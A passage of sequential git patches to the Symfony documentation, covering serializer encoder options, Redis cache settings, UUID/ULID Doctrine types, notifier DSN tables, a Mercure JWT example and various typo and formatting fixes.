+in a Symfony application.
+
 .. _component-serializer-encoders:
 
 Encoders
@@ -803,6 +828,11 @@ The Serializer component provides several built-in encoders:
 :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
     This encoder encodes and decodes data in `CSV`_.
 
+.. note::
+
+    You can also create your own Encoder to use another structure. Read more at
+    :doc:`/serializer/custom_encoders`.
+
 All these encoders are enabled by default when using the Serializer component
 in a Symfony application.
 
@@ -923,18 +953,29 @@ which defines the configuration options for the XmlEncoder an associative array:
 
 These are the options available:
 
-======================  ==================================================== ==========================
-Option                  Description                                          Default
-======================  ==================================================== ==========================
-``xml_format_output``   If set to true, formats the generated XML with line
-                        breaks and indentation.
-``xml_version``         Sets the XML version attribute                       ``1.1``
-``xml_encoding``        Sets the XML encoding attribute                      ``utf-8``
-``xml_standalone``      Adds standalone attribute in the generated XML       ``true``
-``xml_root_node_name``  Sets the root node name (default: ``response``).
-``remove_empty_tags``   If set to true, removes all empty tags in the        ``false``
-                        generated XML
-======================  ==================================================== ==========================
+==============================  =================================================  ==========================
+Option                          Description                                        Default
+==============================  =================================================  ==========================
+``xml_format_output``           If set to true, formats the generated XML with
+                                line breaks and indentation.
+``xml_version``                 Sets the XML version attribute                     ``1.1``
+``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
+``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
+``xml_type_cast_attributes``    This provides the ability to forgot the attribute  ``true``
+                                type casting
+``xml_root_node_name``          Sets the root node name (default: ``response``).
+``as_collection``               Always returns results as a collection, even if
+                                only one line is decoded
+``decoder_ignored_node_types``  Sets nodes to be ignored in the decode             ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
+``encoder_ignored_node_types``  Sets nodes to be ignored in the encode             ``[]``
+``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
+``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
+                                generated XML
+==============================  =================================================  ==========================
+
+.. versionadded:: 4.2
+
+    The ``decoder_ignored_node_types`` & ``encoder_ignored_node_types`` options was introduced in Symfony 4.2.
 
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
@@ -942,6 +983,25 @@ The ``YamlEncoder``
 This encoder requires the :doc:`Yaml Component </components/yaml>` and
 transforms from and to Yaml.
 
+The ``YamlEncoder`` Context Options
+...................................
+
+The ``encode()`` method, like other encoder, uses ``context`` to set
+configuration options for the YamlEncoder an associative array::
+
+    $xmlEncoder->encode($array, 'xml', $context);
+
+These are the options available:
+
+=============== ========================================================  ==========================
+Option          Description                                               Default
+=============== ========================================================  ==========================
+``yaml_inline`` The level where you switch to inline YAML                 ``0``
+``yaml_indent`` The level of indentation (used internally)                ``0``
+``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
+                to customize the encoding / decoding YAML string
+=============== ========================================================  ==========================
+
 Skipping ``null`` Values
 ------------------------
 
@@ -1508,6 +1568,7 @@ Learn more
 .. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
 .. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
 .. _JSON: http://www.json.org/
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/

From 912c86df25f7bc10f929f85b285093b010c53ca1 Mon Sep 17 00:00:00 2001
From: Christoph Wieseke <virtualize@users.noreply.github.com>
Date: Tue, 15 Dec 2020 15:51:52 +0100
Subject: [PATCH 1604/7107] [PropertyAccess] fixed typos for feature
 enable/disable

fixed typos in comments for feature enable/disable
---
 components/property_access.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index d7890e13c5e..4069719cf41 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -519,10 +519,10 @@ configured to enable extra features. To do that you could use the
     $propertyAccessorBuilder->enableMagicSet(); // enables magic __set
     $propertyAccessorBuilder->enableMagicMethods(); // enables magic __get, __set and __call
 
-    $propertyAccessorBuilder->disableMagicCall(); // enables magic __call
-    $propertyAccessorBuilder->disableMagicGet(); // enables magic __get
-    $propertyAccessorBuilder->disableMagicSet(); // enables magic __set
-    $propertyAccessorBuilder->disableMagicMethods(); // enables magic __get, __set and __call
+    $propertyAccessorBuilder->disableMagicCall(); // disables magic __call
+    $propertyAccessorBuilder->disableMagicGet(); // disables magic __get
+    $propertyAccessorBuilder->disableMagicSet(); // disables magic __set
+    $propertyAccessorBuilder->disableMagicMethods(); // disables magic __get, __set and __call
 
     // checks if magic __call, __get or __set handling are enabled
     $propertyAccessorBuilder->isMagicCallEnabled(); // true or false

From 8e2e7de46658db06b8809c6e0036c9ad1cdde104 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Wed, 9 Dec 2020 17:33:46 +0100
Subject: [PATCH 1605/7107] Add documentation about redis cache configuration

---
 components/cache/adapters/redis_adapter.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index c97ab697831..e9d1fec6237 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -201,6 +201,18 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
     $client = RedisAdapter::createConnection('redis://localhost');
     $cache = new RedisTagAwareAdapter($client);
 
+Configuring Redis
+~~~~~~~~~~~~~~~~~
+
+When using Redis as cache, you should configure the `maxmemory` and `maxmemory-policy` settings.
+Read more about this topic in the offical `Redis LRU Cache Documentation`_.
+By setting `maxmemory`, you limit how much memory Redis is allowed to consume. If the amount is too low, Redis will drop entries that would still be useful and you benefit less from your cache. Setting the `maxmemory-policy` to 
+`allkeys-lru` tells Redis that it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least 
+recently used). If you do not allow Redis to drop entries, it will return an error when you try to add data when no 
+memory is available. An example setting could look as follows:
+
+    maxmemory 100mb
+    maxmemory-policy allkeys-lru
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
@@ -211,3 +223,4 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
 .. _`Redis Sentinel`: https://redis.io/topics/sentinel
+.. _`Redis LRU Cache Documentation`: https://redis.io/topics/lru-cache

From ead414bfbcd3fd1212498f05aaded72c45b6c700 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 16 Dec 2020 14:43:05 +0100
Subject: [PATCH 1606/7107] minor. refs #14683

---
 components/cache/adapters/redis_adapter.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index e9d1fec6237..935afcd9f92 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -204,16 +204,21 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 Configuring Redis
 ~~~~~~~~~~~~~~~~~
 
-When using Redis as cache, you should configure the `maxmemory` and `maxmemory-policy` settings.
-Read more about this topic in the offical `Redis LRU Cache Documentation`_.
-By setting `maxmemory`, you limit how much memory Redis is allowed to consume. If the amount is too low, Redis will drop entries that would still be useful and you benefit less from your cache. Setting the `maxmemory-policy` to 
-`allkeys-lru` tells Redis that it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least 
-recently used). If you do not allow Redis to drop entries, it will return an error when you try to add data when no 
-memory is available. An example setting could look as follows:
+When using Redis as cache, you should configure the ``maxmemory`` and ``maxmemory-policy``
+settings. By setting ``maxmemory``, you limit how much memory Redis is allowed to consume.
+If the amount is too low, Redis will drop entries that would still be useful and you benefit
+less from your cache. Setting the ``maxmemory-policy`` to ``allkeys-lru`` tells Redis that
+it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least
+recently used). If you do not allow Redis to drop entries, it will return an error when you
+try to add data when no memory is available. An example setting could look as follows:
+
+.. code-block:: ini
 
     maxmemory 100mb
     maxmemory-policy allkeys-lru
 
+Read more about this topic in the offical `Redis LRU Cache Documentation`_.
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis

From 134df97392feb4ce78293595ea28eee35ed6348e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rathgeber=20St=C3=A9phane?= <stephane@kiora.tech>
Date: Wed, 16 Dec 2020 18:53:48 +0100
Subject: [PATCH 1607/7107] Remove white space

---
 quick_tour/the_architecture.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 69883859d53..d88bb5d32ed 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -155,7 +155,7 @@ difference is that it's done in the constructor:
         {
             // ...
 
-     +        $this->logger->info('Using the greeting: '.$greeting);
+    +        $this->logger->info('Using the greeting: '.$greeting);
 
              return $greeting;
         }

From 7bf71ce65e972e466826e9046318b404e3031318 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 16 Dec 2020 23:26:59 +0100
Subject: [PATCH 1608/7107] Remove UuidBinary/UlidBinary usages from
 documentation

---
 components/uid.rst | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index e5888c66b88..fef72839f52 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -115,7 +115,7 @@ UUID objects created with the ``Uuid`` class can use the following methods
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store UUID values as any other regular string/binary values in the database.
+You can store UUID values as any other regular string values in the database.
 However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
 special Doctrine types which convert to/from UUID objects automatically::
 
@@ -134,14 +134,13 @@ special Doctrine types which convert to/from UUID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="uuid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
+.. versionadded:: 5.2
+
+    The UuidBinary type has been removed in Symfony 5.2.
+
 There's also a Doctrine generator to help autogenerate UUID values for the
 entity primary keys::
 
@@ -260,7 +259,7 @@ ULID objects created with the ``Ulid`` class can use the following methods::
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store ULID values as any other regular string/binary values in the database.
+You can store ULID values as any other regular string values in the database.
 However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
 special Doctrine types which convert to/from ULID objects automatically::
 
@@ -279,14 +278,13 @@ special Doctrine types which convert to/from ULID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="ulid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
+.. versionadded:: 5.2
+
+    The UlidBinary type has been removed in Symfony 5.2.
+
 There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 

From 41285f0382e1056edb115c4b55c3f816aec73843 Mon Sep 17 00:00:00 2001
From: Oleksandr Barabolia <alexandrbarabolya@gmail.com>
Date: Mon, 16 Nov 2020 19:42:41 +0200
Subject: [PATCH 1609/7107] [Notifier] add iqsms bridge support in doc

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index b626a79ac39..9fdb9a435a8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -60,6 +60,7 @@ Service     Package                           DSN
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FROM``
+Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
@@ -77,6 +78,10 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
     The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The Iqsms integration was introduced in Symfony 5.3.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 1c0c7ae267a3c598ef9f5a78e12f6f1f5e40caf3 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 17 Dec 2020 21:48:23 +0100
Subject: [PATCH 1610/7107] Replace unavailable dependency in Symfony 4

---
 setup/unstable_versions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 27036493fd4..5e11526b20e 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -68,7 +68,7 @@ Symfony version has deprecated some of its features.
         $ cd projects/my_project/
         $ git checkout -b testing_new_symfony
         # ... update composer.json configuration
-        $ composer update symfony/symfony
+        $ composer update "symfony/*"
 
         # ... after testing the new Symfony version
         $ git checkout master

From 2dbe568d4575e3472e0337757e134f7821c8c831 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C5=81ukasz=20Korczewski?= <lukasz.korczewski@gmail.com>
Date: Fri, 18 Dec 2020 02:50:05 +0100
Subject: [PATCH 1611/7107] Fixed typo

---
 form/without_class.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index 85838d77ce9..5f565ebfb52 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -79,7 +79,7 @@ you want to use. See :doc:`/validation` for more details.
 
 .. _form-option-constraints:
 
-But if the form is not mapped to an object and you instead want to retrieve a
+But if the form is not mapped to an object and you instead want to retrieve an
 array of your submitted data, how can you add constraints to the data of
 your form?
 

From ddd13674681771b2ea316f90eb6a9134a99c990e Mon Sep 17 00:00:00 2001
From: Fouad <48414048+ltlsquare@users.noreply.github.com>
Date: Fri, 18 Dec 2020 11:13:39 +0400
Subject: [PATCH 1612/7107] Update uid.rst

Uuid::fromString(); should not be instantiated as "new".
The Ulid section is correct the uuid section contains this error.
Especially confusing when you are just starting with this newly implemented functionality.
---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index c8eee0ece94..9a097a3e675 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -71,7 +71,7 @@ Converting UUIDs
 
 Use these methods to transform the UUID object into different bases::
 
-    $uuid = new Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
     $uuid->toBinary();  // string(16) "..." (binary contents can't be printed)
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"

From 1e1ff71f20d292072dd5c18f4bf0794739e2f39d Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 18 Dec 2020 11:33:45 +0100
Subject: [PATCH 1613/7107] Support JWT v4

---
 mercure.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9dd6fe205b9..e4bc11d911f 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -408,7 +408,7 @@ And here is the controller::
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Builder;
+    use Lcobucci\JWT\Configuration;
     use Lcobucci\JWT\Signer\Hmac\Sha256;
     use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
@@ -423,10 +423,13 @@ And here is the controller::
             $hubUrl = $this->getParameter('mercure.default_hub');
             $this->addLink($request, new Link('mercure', $hubUrl));
 
-            $token = (new Builder())
-                // set other appropriate JWT claims, such as an expiration date
+            $key = Key\InMemory::plainText('mercure_secret_key'); // don't forget to set this parameter! Test value: !ChangeMe!
+            $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
+
+            $token = $configuration->builder()
                 ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
+                ->getToken($configuration->signer(), $configuration->signingKey())
+                ->toString();
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $response->headers->set(

From efea74512cbe0f140de4a6e9409c0221f759a838 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 18 Dec 2020 11:37:52 +0100
Subject: [PATCH 1614/7107] Update DSN

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3145bce544c..4a587019e57 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FROM``
+Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
@@ -147,7 +147,7 @@ Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?chan
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
+Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==========  ================================  ===========================================================================
 
 .. versionadded:: 5.1

From facf002bb506ca6b811d72797f03ae21498d665e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 18 Dec 2020 11:44:54 +0100
Subject: [PATCH 1615/7107] Update DSN

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 3f7d7008de9..c5e8181c22a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -131,7 +131,7 @@ integration with these chat services:
 ==========  ================================  ============================================
 Service     Package                           DSN
 ==========  ================================  ============================================
-Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
+Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://default/ID``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``

From dc29127bf23aba45b1ec6cec5b0444fd05fe7139 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 15:16:26 +0100
Subject: [PATCH 1616/7107] Tweaks

---
 components/uid.rst | 22 ++++++----------------
 1 file changed, 6 insertions(+), 16 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index b0fd455add0..ccf372ddd96 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -115,9 +115,8 @@ UUID objects created with the ``Uuid`` class can use the following methods
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store UUID values as any other regular string values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from UUID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``uuid`` Doctrine
+type, which converts to/from UUID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -137,10 +136,6 @@ special Doctrine types which convert to/from UUID objects automatically::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UuidBinary type has been removed in Symfony 5.2.
-
 There's also a Doctrine generator to help autogenerate UUID values for the
 entity primary keys::
 
@@ -165,7 +160,7 @@ entity primary keys::
 
 .. versionadded:: 5.2
 
-    The UUID types and generators were introduced in Symfony 5.2.
+    The UUID type and generators were introduced in Symfony 5.2.
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query
@@ -259,9 +254,8 @@ ULID objects created with the ``Ulid`` class can use the following methods::
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store ULID values as any other regular string values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from ULID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``ulid`` Doctrine
+type, which converts to/from ULID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -281,10 +275,6 @@ special Doctrine types which convert to/from ULID objects automatically::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UlidBinary type has been removed in Symfony 5.2.
-
 There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
@@ -308,7 +298,7 @@ entity primary keys::
 
 .. versionadded:: 5.2
 
-    The ULID types and generator were introduced in Symfony 5.2.
+    The ULID type and generator were introduced in Symfony 5.2.
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these ULID types to build the SQL query

From 4629dba683293de46b4d8a1ae5ca9ec81f394f3f Mon Sep 17 00:00:00 2001
From: Dale Nash <dalenashdn@gmail.com>
Date: Fri, 18 Dec 2020 15:10:56 +0000
Subject: [PATCH 1617/7107] Update setup.rst

Fix incorrect quotation mark type
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5700c2b8878..30ef0375f20 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev' my_project_name
+    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev' my_project_name
+    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 8250dc71f0cec24f3cc2b7a29431684265e10eca Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 18 Dec 2020 16:20:45 +0100
Subject: [PATCH 1618/7107] Fix build

---
 notifier.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 7e50df6c212..10a0a5490aa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -144,7 +144,6 @@ integration with these chat services:
 
 ==========  ================================  ===========================================================================
 Service     Package                           DSN
-<<<<<<< HEAD
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``

From d4358eb4295728074b913f98a66a021a41aeacea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 16:58:36 +0100
Subject: [PATCH 1619/7107] Mention a possible way of reusing the same form

---
 forms.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/forms.rst b/forms.rst
index 12013e8fbfc..1654aa3deba 100644
--- a/forms.rst
+++ b/forms.rst
@@ -449,6 +449,16 @@ possible paths:
     data is passed to it, you can
     :doc:`use the submit() method to handle form submissions </form/direct_submit>`.
 
+.. tip::
+
+    If you need to render and process the same form in different templates,
+    use the ``render()`` function to :ref:`embed the controller <templates-embed-controllers>`
+    that processes the form:
+
+    .. code-block:: twig
+
+        {{ render(controller('App\\Controller\\TaskController::new')) }}
+
 .. _validating-forms:
 
 Validating Forms

From 0e925a0993bd16ecac6f8560e4686cc63d322418 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 17:21:19 +0100
Subject: [PATCH 1620/7107] Reword the introduction about using Bootstrap and
 Encore

---
 frontend/encore/bootstrap.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index ff281f588ac..fedb5153cac 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -1,9 +1,9 @@
 Using Bootstrap CSS & JS
 ========================
 
-Want to use Bootstrap (or something similar) in your project? No problem!
-First, install it. To be able to customize things further, we'll install
-``bootstrap``:
+This article explains how to install and integrate the `Bootstrap CSS framework`_
+in your Symfony application using :doc:`Webpack Encore </frontend>`.
+First, to be able to customize things further, we'll install ``bootstrap``:
 
 .. code-block:: terminal
 
@@ -79,3 +79,5 @@ and CSS like normal:
     // require 2 CSS files needed
     require('bootstrap-star-rating/css/star-rating.css');
     require('bootstrap-star-rating/themes/krajee-svg/theme.css');
+
+.. _`Bootstrap CSS framework`: https://getbootstrap.com/

From 8af100d63a63d2bf22c99117f686d64e1b963ea3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 17:31:00 +0100
Subject: [PATCH 1621/7107] Mention that Symfony only loads YAML routes by
 default

---
 routing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/routing.rst b/routing.rst
index ec6de557b5d..a7d5be18fb6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -147,6 +147,12 @@ the ``BlogController``:
             ;
         };
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the routes defined
+    in YAML format. If you define routes in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+
 .. _routing-matching-http-methods:
 
 Matching HTTP Methods

From 58bcabbd13cfc3f0611736f5d8cf67cc103ae8e4 Mon Sep 17 00:00:00 2001
From: Gawain Lynch <gawain.lynch@gmail.com>
Date: Sat, 19 Dec 2020 04:01:02 +0100
Subject: [PATCH 1622/7107] Correct annotation for ULID type

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index ccf372ddd96..bdeb252bb65 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -287,7 +287,7 @@ entity primary keys::
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
+         * @ORM\Column(type="ulid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
          * @ORM\CustomIdGenerator(class=UlidGenerator::class)
          */

From 63a4e504fb2e1685618690ebb0348ce8e76366b0 Mon Sep 17 00:00:00 2001
From: Gawain Lynch <gawain.lynch@gmail.com>
Date: Sat, 19 Dec 2020 04:14:46 +0100
Subject: [PATCH 1623/7107] Remove merge conflict header

---
 notifier.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 057545d1b71..62052eb96dc 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -139,7 +139,6 @@ integration with these chat services:
 
 ==========  ================================  ===========================================================================
 Service     Package                           DSN
-<<<<<<< HEAD
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``

From b2c66b145971b0f8cae7b3c318361814c98ae2dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 11:12:51 +0100
Subject: [PATCH 1624/7107] [DependencyInjection] Add ServiceLocatorArgument to
